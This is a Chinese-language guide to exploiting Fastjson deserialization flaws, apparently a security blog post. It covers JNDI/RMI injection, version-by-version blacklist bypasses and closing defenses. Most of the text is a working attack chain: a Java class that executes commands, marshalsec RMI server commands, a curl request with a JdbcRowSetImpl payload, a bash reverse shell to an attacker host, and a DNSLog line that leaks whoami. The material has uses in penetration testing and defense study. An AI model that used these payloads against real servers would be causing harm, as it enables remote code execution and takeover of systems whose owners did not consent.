Fastjson远程命令执行漏洞总结
字数 1813 2025-08-13 21:33:25
Fastjson远程命令执行漏洞全面分析与利用指南
1. Fastjson简介
Fastjson是阿里巴巴开发的一款高性能JSON处理库,主要用于:
- 将Java Bean序列化为JSON字符串
- 从JSON字符串反序列化到JavaBean
- 实现JavaBean对象与JSON字符串的转换
- 实现JSON对象与JSON字符串的转换
与其他JSON库(如Gson、net.sf.json)相比,Fastjson在性能上有显著优势,但同时也带来了一些安全隐患。
2. JNDI与RMI基础
2.1 JNDI (Java命名与目录接口)
JNDI是J2EE重要规范之一,提供统一的客户端API,用于查找和访问各种命名和目录服务。支持的服务包括:
- DNS
- LDAP
- CORBA对象服务
- RMI
2.2 RMI (远程方法调用)
RMI是专为Java环境设计的远程方法调用机制:
- 远程服务器实现具体Java方法并提供接口
- 客户端本地根据接口定义调用远程方法
- 依赖JRMP协议(Java定制通信协议)
- 对象通过序列化方式进行编码传输
2.3 JNDI References注入原理
攻击者可利用References类绑定外部远程对象:
- 服务端使用ReferenceWrapper包裹Reference类
- 客户端执行lookup操作时,会加载并实例化远程对象
- 如果控制lookup的URL参数,可加载恶意类执行命令
注意:Java版本>1.8u191存在trustCodebaseURL限制,无法从指定codebase下载字节码。
3. Fastjson漏洞原理
3.1 漏洞成因
Fastjson在解析JSON时支持autoType功能,允许通过@type字段指定要反序列化的类。攻击者可构造恶意JSON:
- 指定危险类(如JdbcRowSetImpl)
- 通过JNDI注入连接恶意RMI服务器
- 加载并执行远程恶意代码
3.2 影响版本
- CVE-2017-18349:Fastjson < 1.2.25
- 后续版本的黑名单绕过漏洞:<=1.2.41/42/45/47/62/66等
4. 漏洞利用实战
4.1 环境准备
- 靶机:运行有漏洞Fastjson的应用
- 攻击机:Kali Linux
- Java环境:建议JDK 8u20(无trustCodebaseURL限制)
4.2 利用步骤
1) 编写恶意类
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// 异常处理
}
}
}
编译:javac Exploit.java
2) 启动HTTP服务
python -m SimpleHTTPServer 80
3) 启动RMI服务器
使用marshalsec工具:
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机IP/#Exploit" 9999
4) 发送恶意请求
使用curl或BurpSuite发送POST请求:
curl http://靶机IP/ -H "Content-Type: application/json" --data '{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机IP:9999/Exploit",
"autoCommit":true
}'
4.3 高级利用
反弹Shell
修改恶意类中的commands:
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击机IP/端口 0>&1"};
DNSLog测试
String[] commands = {"/bin/sh", "-c", "ping user.`whoami`.dnslog.cn"};
5. 各版本绕过技术
5.1 Fastjson <=1.2.41
绕过方法:在类名前后加L和;
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://x.x.x.x:9999/exploit",
"autoCommit":true
}
5.2 Fastjson <=1.2.42
绕过方法:双嵌套L和;
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://x.x.x.x:9999/exploit",
"autoCommit":true
}
5.3 Fastjson <=1.2.45
前提条件:目标存在MyBatis 3.x.x(<3.5.0)
使用org.apache.ibatis.datasource类(1.2.46加入黑名单)
5.4 Fastjson <=1.2.47
特点:autoType关闭状态下也可利用
利用两步走:
- 使用
java.lang.Class缓存类 - 直接从缓存获取
com.sun.rowset.JdbcRowSetImpl
5.5 Fastjson <=1.2.62
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://x.x.x.x:9999/exploit"
}
5.6 Fastjson <=1.2.66
基于黑名单绕过,需autoTypeSupport=true
6. 防御措施
- 升级Fastjson到最新版本
- 关闭autoType功能:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 使用安全模式:
ParserConfig.getGlobalInstance().setSafeMode(true); - 升级JDK到最新版本(>8u191)
- 实施严格的输入验证
7. 总结
Fastjson漏洞本质是反序列化安全问题,结合JNDI注入实现RCE。不同版本有不同的绕过技术,防御需要综合考虑Fastjson配置和JDK版本。在实际渗透测试中,应根据目标环境选择合适的利用方式。